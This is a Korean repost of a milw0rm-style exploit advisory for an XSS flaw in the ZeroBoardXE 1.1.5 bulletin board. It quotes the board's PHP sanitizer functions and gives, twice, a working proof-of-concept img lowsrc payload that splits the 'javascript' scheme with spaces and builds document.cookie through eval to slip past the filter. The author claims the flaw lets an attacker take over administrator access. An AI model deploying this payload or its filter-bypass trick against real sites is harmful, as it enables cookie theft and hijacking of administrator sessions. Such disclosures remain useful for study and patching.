ZeroBoardXE 1.1.5 XSS Vulnerability

※ 참조 SITE : http://www.milw0rm.com/exploits/8019

제로보드XE 1.1.5 버전에서 XSS 취약점이 발견 되었습니다.

POC :
<img lowsrc="j a v a s c ri pt:alert((eval(('D'+'o'+'C'+'u'+'M'+'e'+'N'+'t' +'.'+'C'+'o'+'O'+'k'+'I'+'e').toLowerCase())));">

※참고 eval() 함수
Javascript 코드가 맞는가 틀린가를 검증하고 수행한다.

→ 검증 순서
1. 제공된 jsString 문자열이 Javascript로 유효한가
2. Javascript 코드로서 해석하기 우해서 파싱(Parse)
3. 파싱된 내용에서 Javascript 문장 코드를 발견하면 그 내용을 숭
4. 수행 결과 값이 있으면 반환(return)

ZeroBoardXE 1.1.5 (09.01.22) XSS Vulnerability
bY make0day@gmail.com
Greet to : Flyh4t
/*************************
ZeroBoardXE (VERSION 1.1.5 (09.01.22))is most famous and widely used bulletin board system of Korea.
It is freely available for all platforms that supports PHP and MySQL.
I find a XSS vulnerability.
By using this vulnerability, Malicious person can occupy administrator permission,
It means attacker can control board system fully
Here is the details:

**************************/
TEST ON VERSION ZeroBoardXE 1.1.5 (09.01.22)
Download : http://www.zeroboard.com
/***************************
[0x01] XSS vulnerability

/config/func.inc.php

    function removeHackTag($content) {

        $content = preg_replace_callback("!<([a-z]+)(.*?)>!is", removeJSEvent, $content);

        $content = preg_replace_callback("!<([a-z]+)(.*?)>!is", removeSrcHack, $content);

        return $content;
    }

    function removeJSEvent($matches) {
        $attrs = $matches[2];

        if(preg_match('/(src|href|lowsrc|dynsrc)=("|\'?)([\r\n]*)(vbscript|javascript)/is', $matches[2])) {
            $attrs = preg_replace('/(src|href|lowsrc|dynsrc)=("|\'?)([\r\n]*)(vbscript|javascript)/is','$1=$2_$4', $attrs);
        }

  $attrs = preg_replace(
            '/(\r|\n| )+on(click|dblclick|mousedown|mouseup|mouseover|mouseout|mousemove|keydown|keyup|keypress|load|unload|abort|error|select|change|submit|reset|resize|scroll|focus|blur)+([= ]+)/is',
            ' _on$2=',
            $attrs
        );

        $attrs = preg_replace('/_onclick=("|\')window\.open\(this\.href\);(.?)return false;("|\')/i','onclick=$1window.open(this.href);$2return false;$3', $attrs);

        return '<'.$matches[1].$attrs.'>';
    }

    function removeSrcHack($matches) {
        $tag = strtolower(trim($matches[1]));

        $buff = trim(preg_replace('/(\/>|>)/','/>',$matches[0]));
        $buff = str_replace(array('&amp;','&'),array('&amp;','&amp;'),$buff);
        $buff = preg_replace_callback('/([^=^"^ ]*)=([^ ^>]*)/i', fixQuotation, $buff);

        $oXmlParser = new XmlParser();
        $xml_doc = $oXmlParser->parse($buff);

        $src = $xml_doc->{$tag}->attrs->src;
        $dynsrc = $xml_doc->{$tag}->attrs->dynsrc;
        $lowsrc = $xml_doc->{$tag}->attrs->lowsrc;
        $href = $xml_doc->{$tag}->attrs->href;
        if(_isHackedSrc($src) || _isHackedSrc($dynsrc) || _isHackedSrc($lowsrc) || _isHackedSrc($href) ) return sprintf("<%s>",$tag);

        return $matches[0];
    }

    function _isHackedSrc($src) {
        if(!$src) return false;
        if($src) {
            $url_info = parse_url($src);
            $query = $url_info['query'];
            $queries = explode('&', $query);
            $cnt = count($queries);
            for($i=0;$i<$cnt;$i++) {
                $tmp_str = strtolower(trim($queries[$i]));
                $pos = strpos($tmp_str,'=');
                if($pos === false) continue;
                $key = strtolower(trim(substr($tmp_str, 0, $pos)));
                $val = strtolower(trim(substr($tmp_str,$pos+1)));
                if( ($key=='module'&&$val=='admin') || ($key=='act'&&preg_match('/admin/i',$val)) ) return true;
            }
        }
        return false;
    }

//Developer try to detect XSS hardly,
//But That`s not enough..
//The real-hacker can bypass it.
//I`m just used 09 trick.
//That`s all
*************************/

poc:
<img lowsrc="j a v a s c ri pt:alert((eval(('D'+'o'+'C'+'u'+'M'+'e'+'N'+'t'+'.'+'C'+'o'+'O'+'k'+'I'+'e').toLowerCase())));">

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